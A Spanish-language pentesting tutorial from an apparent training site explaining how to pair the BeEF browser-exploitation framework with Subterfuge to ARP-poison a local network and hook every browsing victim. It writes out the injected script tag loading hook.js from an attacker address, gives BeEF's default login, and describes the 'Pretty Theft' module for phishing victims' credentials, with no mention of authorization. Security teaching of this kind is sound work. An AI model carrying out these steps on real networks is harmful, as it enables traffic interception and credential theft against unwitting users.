Artículo · Pentesting

Ataques de ingeniería social usando Beef y Subterfuge

Omar Jacobo Muñoz VelizOmar Jacobo Muñoz Veliz 3 min de lectura

Historia Beef

Es un framework que viene por defecto en Kali Linux y sus versiones anteriores. Este está orientado en la explotación de vulnerabilidades en los navegadores web por medio de una página infectada, en la cual, cada usuario que entre a la página puede ser infectado por varios vectores de ataque, es un framework flexible que se puede unir a herramientas de explotación como Cobalt Strike.

 

Estos son los datos que nos muestra cuando dispositivo está navegando

 

Subterfuge 

Es un framework muy usado para realizar ataques Man-in-the-Middle, como también para poder realizar múltiples ataques como Session Hijacking y robo de cookies.

 

Estos son los datos que se nos muestran al entrar a subterfuge.

 

¿Por qué usar Beef y Subterfuge juntos?

Si por separado estos dos frameworks son de mucha ayuda, te imaginas lo que logran hacer ahora juntos, son invencibles. Lo que se hace al momento de unirlos es que pasamos el javascript infectado de beef y subterfuge se encargará de envenar el router, para que cada vez que alguien este navegando por internet, nos dé un detalle completo de quién es y a qué es vulnerable. Al hacer esto, nos deja la facilidad de ver que sí le afectan los exploits de hacking team o muchos otros vectores.

 

Instalación Beef

Este viene por defecto en kali linux pero se puede puede descargar e instalar en cualquier distribucion de linux solo es necesario tener instalado ruby.

El enlace para descargarlo es:

https://github.com/beefproject/beef

Subterfuge

En enlace para descargarlo es:

https://github.com/Subterfuge-Framework/Subterfuge

Ojo: Cuando lo instalé me dio un problema que se resuelve poniendo en la terminal el siguiente comando:

pip install django==1.5

Una vez esto, lo primero que haremos es iniciar el servicio de beef

 

 

Ahora entramos al navegador a la dirección que nos genera 192.168.1.9:5000/ui/panel

 

El usuario y contraseña por defecto es “beef”.

Luego de esto nos llevara al menú principal

 

 

Ahora iniciamos subterfuge

 

 

Y luego de eso ingresaremos al link que genera

 

 

Ahora lo siguiente es poner el javascript que contiene el archivo dentro del “MITM Vector:ARP Cache Poisoning”

El script es <script languaje=javascript src=http://192.168.1.9:3000/hook.js></script>

 

Ahora, al darle “Start” en la terminal empezará a capturar a todos los que naveguen por internet.

Uso

Para realizar un ataque de ingeniería social nos posicionamos sobre nuestra víctima y nos vamos a la pestaña “Commands” y donde dice “Pretty Theft” le daremos click y seleccionaremos con que página hacer caer a la víctima, las credenciales nos saldrán donde dice “Module Results History”

A la víctima le aparecerá lo siguiente.

¿Quieres aprender estas técnicas en profundidad?

Continúa tu ruta con Penetration Testing Student.

Omar Jacobo Muñoz Veliz

Escrito por

Omar Jacobo Muñoz Veliz

Content at Backtrack Academy

Content Dev en backtrackacademy, auditor de seguridad informatica y desarrollador de software.

Sigue leyendo